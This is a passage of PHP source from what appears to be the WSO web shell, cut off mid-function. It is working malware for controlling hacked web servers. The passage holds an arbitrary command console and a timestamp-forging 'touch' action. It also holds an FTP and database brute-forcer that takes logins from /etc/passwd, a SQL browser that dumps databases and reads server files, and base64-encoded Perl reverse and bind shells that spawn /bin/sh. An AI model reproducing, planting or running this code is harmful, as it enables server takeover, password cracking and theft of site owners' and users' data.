830                                                                $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
831                                                                switch (ord($c[$i])) {
832                                                                    case 0:
833                                                                        $h[2].= ' ';
834                                                                    break;
835                                                                    case 9:
836                                                                        $h[2].= ' ';
837                                                                    break;
838                                                                    case 10:
839                                                                        $h[2].= ' ';
840                                                                    break;
841                                                                    case 13:
842                                                                        $h[2].= ' ';
843                                                                    break;
844                                                                    default:
845                                                                        $h[2].= $c[$i];
846                                                                    break;
847                                                                }
848                                                                $n++;
849                                                                if ($n == 32) {
850                                                                    $n = 0;
851                                                                    if ($i + 1 < $len) {
852                                                                        $h[0].= sprintf('%08X', $i + 1) . '<br>';
853                                                                    }
854                                                                    $h[1].= '<br>';
855                                                                    $h[2].= "
856";
857                                                                }
858                                                            }
859                                                            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
860                                                            break;
861                                                        case 'rename':
862                                                            if (!empty($_POST['p3'])) {
863                                                                if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
864                                                                else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
865                                                            }
866                                                            echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
867                                                            break;
868                                                        case 'touch':
869                                                            if (!empty($_POST['p3'])) {
870                                                                $time = strtotime($_POST['p3']);
871                                                                if ($time) {
872                                                                    if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
873                                                                    else echo 'Touched!';
874                                                                } else echo 'Bad time format!';
875                                                            }
876                                                            clearstatcache();
877                                                            echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
878                                                            break;
879                                                        }
880                                                        echo '</div>';
881                                                        wsoFooter();
882                                                    }
883                                                    function actionConsole() {
884                                                        if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
885                                                            WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
886                                                            $_POST['p1'].= ' 2>&1';
887                                                        } elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
888                                                        if (isset($_POST['ajax'])) {
889                                                            WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
890                                                            ob_start();
891                                                            echo "d.cf.cmd.value='';
892";
893                                                            $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
894$ " . $_POST['p1'] . "
895" . wsoEx($_POST['p1']), "
896
897	\'"));
898                                                            if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
899                                                                if (@chdir($match[1])) {
900                                                                    $GLOBALS['cwd'] = @getcwd();
901                                                                    echo "c_='" . $GLOBALS['cwd'] . "';";
902                                                                }
903                                                            }
904                                                            echo "d.cf.output.value+='" . $temp . "';";
905                                                            echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
906                                                            $temp = ob_get_clean();
907                                                            echo strlen($temp), "
908", $temp;
909                                                            exit;
910                                                        }
911                                                        if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
912                                                        wsoHeader();
913                                                        echo "<script>
914if(window.Event) window.captureEvents(Event.KEYDOWN);
915var cmds = new Array('');
916var cur = 0;
917function kp(e) {
918	var n = (window.Event) ? e.which : e.keyCode;
919	if(n == 38) {
920		cur--;
921		if(cur>=0)
922			document.cf.cmd.value = cmds[cur];
923		else
924			cur++;
925	} else if(n == 40) {
926		cur++;
927		if(cur < cmds.length)
928			document.cf.cmd.value = cmds[cur];
929		else
930			cur--;
931	}
932}
933function add(cmd) {
934	cmds.pop();
935	cmds.push(cmd);
936	cmds.push('');
937	cur = cmds.length-1;
938}
939</script>";
940                                                        echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
941                                                        foreach ($GLOBALS['aliases'] as $n => $v) {
942                                                            if ($v == '') {
943                                                                echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
944                                                                continue;
945                                                            }
946                                                            echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
947                                                        }
948                                                        echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
949                                                        if (!empty($_POST['p1'])) {
950                                                            echo htmlspecialchars("$ " . $_POST['p1'] . "
951" . wsoEx($_POST['p1']));
952                                                        }
953                                                        echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
954                                                        echo '</form></div><script>d.cf.cmd.focus();</script>';
955                                                        wsoFooter();
956                                                    }
957                                                    function actionLogout() {
958                                                        setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
959                                                        die('bye!');
960                                                    }
961                                                    function actionSelfRemove() {
962                                                        if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
963                                                        else echo 'unlink error!';
964                                                        if ($_POST['p1'] != 'yes') wsoHeader();
965                                                        echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
966                                                        wsoFooter();
967                                                    }
968                                                    function actionBruteforce() {
969                                                        wsoHeader();
970                                                        if (isset($_POST['proto'])) {
971                                                            echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
972                                                            if ($_POST['proto'] == 'ftp') {
973                                                                function wsoBruteForce($ip, $port, $login, $pass) {
974                                                                    $fp = @ftp_connect($ip, $port ? $port : 21);
975                                                                    if (!$fp) return false;
976                                                                    $res = @ftp_login($fp, $login, $pass);
977                                                                    @ftp_close($fp);
978                                                                    return $res;
979                                                                }
980                                                            } elseif ($_POST['proto'] == 'mysql') {
981                                                                function wsoBruteForce($ip, $port, $login, $pass) {
982                                                                    $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
983                                                                    @mysql_close($res);
984                                                                    return $res;
985                                                                }
986                                                            } elseif ($_POST['proto'] == 'pgsql') {
987                                                                function wsoBruteForce($ip, $port, $login, $pass) {
988                                                                    $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
989                                                                    $res = @pg_connect($str);
990                                                                    @pg_close($res);
991                                                                    return $res;
992                                                                }
993                                                            }
994                                                            $success = 0;
995                                                            $attempts = 0;
996                                                            $server = explode(":", $_POST['server']);
997                                                            if ($_POST['type'] == 1) {
998                                                                $temp = @file('/etc/passwd');
999                                                                if (is_array($temp)) foreach ($temp as $line) {
1000                                                                    $line = explode(":", $line);
1001                                                                    ++$attempts;
1002                                                                    if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
1003                                                                        $success++;
1004                                                                        echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
1005                                                                    }
1006                                                                    if (@$_POST['reverse']) {
1007                                                                        $tmp = "";
1008                                                                        for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
1009                                                                        ++$attempts;
1010                                                                        if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
1011                                                                            $success++;
1012                                                                            echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
1013                                                                        }
1014                                                                    }
1015                                                                }
1016                                                            } elseif ($_POST['type'] == 2) {
1017                                                                $temp = @file($_POST['dict']);
1018                                                                if (is_array($temp)) foreach ($temp as $line) {
1019                                                                    $line = trim($line);
1020                                                                    ++$attempts;
1021                                                                    if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
1022                                                                        $success++;
1023                                                                        echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
1024                                                                    }
1025                                                                }
1026                                                            }
1027                                                            echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1028                                                        }
1029                                                        echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1030                                                        echo '</div><br>';
1031                                                        wsoFooter();
1032                                                    }
1033                                                    function actionSql() {
1034                                                        class DbClass {
1035                                                            var $type;
1036                                                            var $link;
1037                                                            var $res;
1038                                                            function DbClass($type) {
1039                                                                $this->type = $type;
1040                                                            }
1041                                                            function connect($host, $user, $pass, $dbname) {
1042                                                                switch ($this->type) {
1043                                                                    case 'mysql':
1044                                                                        if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1045                                                                        break;
1046                                                                    case 'pgsql':
1047                                                                        $host = explode(':', $host);
1048                                                                        if (!$host[1]) $host[1] = 5432;
1049                                                                        if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1050                                                                        break;
1051                                                                    }
1052                                                                    return false;
1053                                                                }
1054                                                                function selectdb($db) {
1055                                                                    switch ($this->type) {
1056                                                                        case 'mysql':
1057                                                                            if (@mysql_select_db($db)) return true;
1058                                                                            break;
1059                                                                        }
1060                                                                        return false;
1061                                                                }
1062                                                                function query($str) {
1063                                                                    switch ($this->type) {
1064                                                                        case 'mysql':
1065                                                                            return $this->res = @mysql_query($str);
1066                                                                        break;
1067                                                                        case 'pgsql':
1068                                                                            return $this->res = @pg_query($this->link, $str);
1069                                                                        break;
1070                                                                    }
1071                                                                    return false;
1072                                                                }
1073                                                                function fetch() {
1074                                                                    $res = func_num_args() ? func_get_arg(0) : $this->res;
1075                                                                    switch ($this->type) {
1076                                                                        case 'mysql':
1077                                                                            return @mysql_fetch_assoc($res);
1078                                                                        break;
1079                                                                        case 'pgsql':
1080                                                                            return @pg_fetch_assoc($res);
1081                                                                        break;
1082                                                                    }
1083                                                                    return false;
1084                                                                }
1085                                                                function listDbs() {
1086                                                                    switch ($this->type) {
1087                                                                        case 'mysql':
1088                                                                            return $this->query("SHOW databases");
1089                                                                        break;
1090                                                                        case 'pgsql':
1091                                                                            return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1092                                                                        break;
1093                                                                    }
1094                                                                    return false;
1095                                                                }
1096                                                                function listTables() {
1097                                                                    switch ($this->type) {
1098                                                                        case 'mysql':
1099                                                                            return $this->res = $this->query('SHOW TABLES');
1100                                                                        break;
1101                                                                        case 'pgsql':
1102                                                                            return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1103                                                                        break;
1104                                                                    }
1105                                                                    return false;
1106                                                                }
1107                                                                function error() {
1108                                                                    switch ($this->type) {
1109                                                                        case 'mysql':
1110                                                                            return @mysql_error();
1111                                                                        break;
1112                                                                        case 'pgsql':
1113                                                                            return @pg_last_error();
1114                                                                        break;
1115                                                                    }
1116                                                                    return false;
1117                                                                }
1118                                                                function setCharset($str) {
1119                                                                    switch ($this->type) {
1120                                                                        case 'mysql':
1121                                                                            if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1122                                                                            else $this->query('SET CHARSET ' . $str);
1123                                                                            break;
1124                                                                        case 'pgsql':
1125                                                                            return @pg_set_client_encoding($this->link, $str);
1126                                                                            break;
1127                                                                        }
1128                                                                        return false;
1129                                                                    }
1130                                                                    function loadFile($str) {
1131                                                                        switch ($this->type) {
1132                                                                            case 'mysql':
1133                                                                                return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1134                                                                            break;
1135                                                                            case 'pgsql':
1136                                                                                $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1137                                                                                $r = array();
1138                                                                                while ($i = $this->fetch()) $r[] = $i['file'];
1139                                                                                $this->query('drop table wso2');
1140                                                                                return array('file' => implode("
1141", $r));
1142                                                                                break;
1143                                                                            }
1144                                                                            return false;
1145                                                                    }
1146                                                                    function dump($table, $fp = false) {
1147                                                                        switch ($this->type) {
1148                                                                            case 'mysql':
1149                                                                                $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1150                                                                                $create = mysql_fetch_array($res);
1151                                                                                $sql = $create[1] . ";
1152";
1153                                                                                if ($fp) fwrite($fp, $sql);
1154                                                                                else echo ($sql);
1155                                                                                $this->query('SELECT * FROM `' . $table . '`');
1156                                                                                $i = 0;
1157                                                                                $head = true;
1158                                                                                while ($item = $this->fetch()) {
1159                                                                                    $sql = '';
1160                                                                                    if ($i % 1000 == 0) {
1161                                                                                        $head = true;
1162                                                                                        $sql = ";
1163
1164";
1165                                                                                    }
1166                                                                                    $columns = array();
1167                                                                                    foreach ($item as $k => $v) {
1168                                                                                        if ($v === null) $item[$k] = "NULL";
1169                                                                                        elseif (is_int($v)) $item[$k] = $v;
1170                                                                                        else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1171                                                                                        $columns[] = "`" . $k . "`";
1172                                                                                    }
1173                                                                                    if ($head) {
1174                                                                                        $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES 
1175	(" . implode(", ", $item) . ')';
1176                                                                                        $head = false;
1177                                                                                    } else $sql.= "
1178	,(" . implode(", ", $item) . ')';
1179                                                                                    if ($fp) fwrite($fp, $sql);
1180                                                                                    else echo ($sql);
1181                                                                                    $i++;
1182                                                                                }
1183                                                                                if (!$head) if ($fp) fwrite($fp, ";
1184
1185");
1186                                                                                else echo (";
1187
1188");
1189                                                                                break;
1190                                                                            case 'pgsql':
1191                                                                                $this->query('SELECT * FROM ' . $table);
1192                                                                                while ($item = $this->fetch()) {
1193                                                                                    $columns = array();
1194                                                                                    foreach ($item as $k => $v) {
1195                                                                                        $item[$k] = "'" . addslashes($v) . "'";
1196                                                                                        $columns[] = $k;
1197                                                                                    }
1198                                                                                    $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1199";
1200                                                                                    if ($fp) fwrite($fp, $sql);
1201                                                                                    else echo ($sql);
1202                                                                                }
1203                                                                                break;
1204                                                                            }
1205                                                                            return false;
1206                                                                        }
1207                                                                    };
1208                                                                    $db = new DbClass($_POST['type']);
1209                                                                    if (@$_POST['p2'] == 'download') {
1210                                                                        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1211                                                                        $db->selectdb($_POST['sql_base']);
1212                                                                        switch ($_POST['charset']) {
1213                                                                            case "Windows-1251":
1214                                                                                $db->setCharset('cp1251');
1215                                                                            break;
1216                                                                            case "UTF-8":
1217                                                                                $db->setCharset('utf8');
1218                                                                            break;
1219                                                                            case "KOI8-R":
1220                                                                                $db->setCharset('koi8r');
1221                                                                            break;
1222                                                                            case "KOI8-U":
1223                                                                                $db->setCharset('koi8u');
1224                                                                            break;
1225                                                                            case "cp866":
1226                                                                                $db->setCharset('cp866');
1227                                                                            break;
1228                                                                        }
1229                                                                        if (empty($_POST['file'])) {
1230                                                                            ob_start("ob_gzhandler", 4096);
1231                                                                            header("Content-Disposition: attachment; filename=dump.sql");
1232                                                                            header("Content-Type: text/plain");
1233                                                                            foreach ($_POST['tbl'] as $v) $db->dump($v);
1234                                                                            exit;
1235                                                                        } elseif ($fp = @fopen($_POST['file'], 'w')) {
1236                                                                            foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
1237                                                                            fclose($fp);
1238                                                                            unset($_POST['p2']);
1239                                                                        } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1240                                                                    }
1241                                                                    wsoHeader();
1242                                                                    echo "
1243<h1>Sql browser</h1><div class=content>
1244<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1245<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1246<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1247<td><select name='type'><option value='mysql' ";
1248                                                                    if (@$_POST['type'] == 'mysql') echo 'selected';
1249                                                                    echo ">MySql</option><option value='pgsql' ";
1250                                                                    if (@$_POST['type'] == 'pgsql') echo 'selected';
1251                                                                    echo ">PostgreSql</option></select></td>
1252<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
1253<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
1254<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1255                                                                    $tmp = "<input type=text name=sql_base value=''>";
1256                                                                    if (isset($_POST['sql_host'])) {
1257                                                                        if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1258                                                                            switch ($_POST['charset']) {
1259                                                                                case "Windows-1251":
1260                                                                                    $db->setCharset('cp1251');
1261                                                                                break;
1262                                                                                case "UTF-8":
1263                                                                                    $db->setCharset('utf8');
1264                                                                                break;
1265                                                                                case "KOI8-R":
1266                                                                                    $db->setCharset('koi8r');
1267                                                                                break;
1268                                                                                case "KOI8-U":
1269                                                                                    $db->setCharset('koi8u');
1270                                                                                break;
1271                                                                                case "cp866":
1272                                                                                    $db->setCharset('cp866');
1273                                                                                break;
1274                                                                            }
1275                                                                            $db->listDbs();
1276                                                                            echo "<select name=sql_base><option value=''></option>";
1277                                                                            while ($item = $db->fetch()) {
1278                                                                                list($key, $value) = each($item);
1279                                                                                echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1280                                                                            }
1281                                                                            echo '</select>';
1282                                                                        } else echo $tmp;
1283                                                                    } else echo $tmp;
1284                                                                    echo "</td>
1285				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1286                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1287			</tr>
1288		</table>
1289		<script>
1290            s_db='" . @addslashes($_POST['sql_base']) . "';
1291            function fs(f) {
1292                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1293                    if(f.p1) f.p1.value='';
1294                    if(f.p2) f.p2.value='';
1295                    if(f.p3) f.p3.value='';
1296                }
1297            }
1298			function st(t,l) {
1299				d.sf.p1.value = 'select';
1300				d.sf.p2.value = t;
1301                if(l && d.sf.p3) d.sf.p3.value = l;
1302				d.sf.submit();
1303			}
1304			function is() {
1305				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1306					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1307			}
1308		</script>";
1309                                                                    if (isset($db) && $db->link) {
1310                                                                        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1311                                                                        if (!empty($_POST['sql_base'])) {
1312                                                                            $db->selectdb($_POST['sql_base']);
1313                                                                            echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1314                                                                            $tbls_res = $db->listTables();
1315                                                                            while ($item = $db->fetch($tbls_res)) {
1316                                                                                list($key, $value) = each($item);
1317                                                                                if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1318                                                                                $value = htmlspecialchars($value);
1319                                                                                echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
1320                                                                            }
1321                                                                            echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1322                                                                            if (@$_POST['p1'] == 'select') {
1323                                                                                $_POST['p1'] = 'query';
1324                                                                                $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1325                                                                                $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1326                                                                                $num = $db->fetch();
1327                                                                                $pages = ceil($num['n'] / 30);
1328                                                                                echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1329                                                                                echo " of $pages";
1330                                                                                if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
1331                                                                                if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
1332                                                                                $_POST['p3']--;
1333                                                                                if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1334                                                                                else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1335                                                                                echo "<br><br>";
1336                                                                            }
1337                                                                            if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1338                                                                                $db->query(@$_POST['p2']);
1339                                                                                if ($db->res !== false) {
1340                                                                                    $title = false;
1341                                                                                    echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1342                                                                                    $line = 1;
1343                                                                                    while ($item = $db->fetch()) {
1344                                                                                        if (!$title) {
1345                                                                                            echo '<tr>';
1346                                                                                            foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1347                                                                                            reset($item);
1348                                                                                            $title = true;
1349                                                                                            echo '</tr><tr>';
1350                                                                                            $line = 2;
1351                                                                                        }
1352                                                                                        echo '<tr class="l' . $line . '">';
1353                                                                                        $line = $line == 1 ? 2 : 1;
1354                                                                                        foreach ($item as $key => $value) {
1355                                                                                            if ($value == null) echo '<td><i>null</i></td>';
1356                                                                                            else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1357                                                                                        }
1358                                                                                        echo '</tr>';
1359                                                                                    }
1360                                                                                    echo '</table>';
1361                                                                                } else {
1362                                                                                    echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1363                                                                                }
1364                                                                            }
1365                                                                            echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1366                                                                            if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1367                                                                            echo "</textarea><br/><input type=submit value='Execute'>";
1368                                                                            echo "</td></tr>";
1369                                                                        }
1370                                                                        echo "</table></form><br/>";
1371                                                                        if ($_POST['type'] == 'mysql') {
1372                                                                            $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1373                                                                            if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1374                                                                        }
1375                                                                        if (@$_POST['p1'] == 'loadfile') {
1376                                                                            $file = $db->loadFile($_POST['p2']);
1377                                                                            echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1378                                                                        }
1379                                                                    } else {
1380                                                                        echo htmlspecialchars($db->error());
1381                                                                    }
1382                                                                    echo '</div>';
1383                                                                    wsoFooter();
1384                                                                }
1385                                                                function actionNetwork() {
1386                                                                    wsoHeader();
1387                                                                    $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1388                                                                    $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1389                                                                    echo "<h1>Network tools</h1><div class=content>
1390	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1391	<span>Bind port to /bin/sh [perl]</span><br/>
1392	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1393	</form>
1394	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1395	<span>Back-connect  [perl]</span><br/>
1396	Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1397	</form><br>";
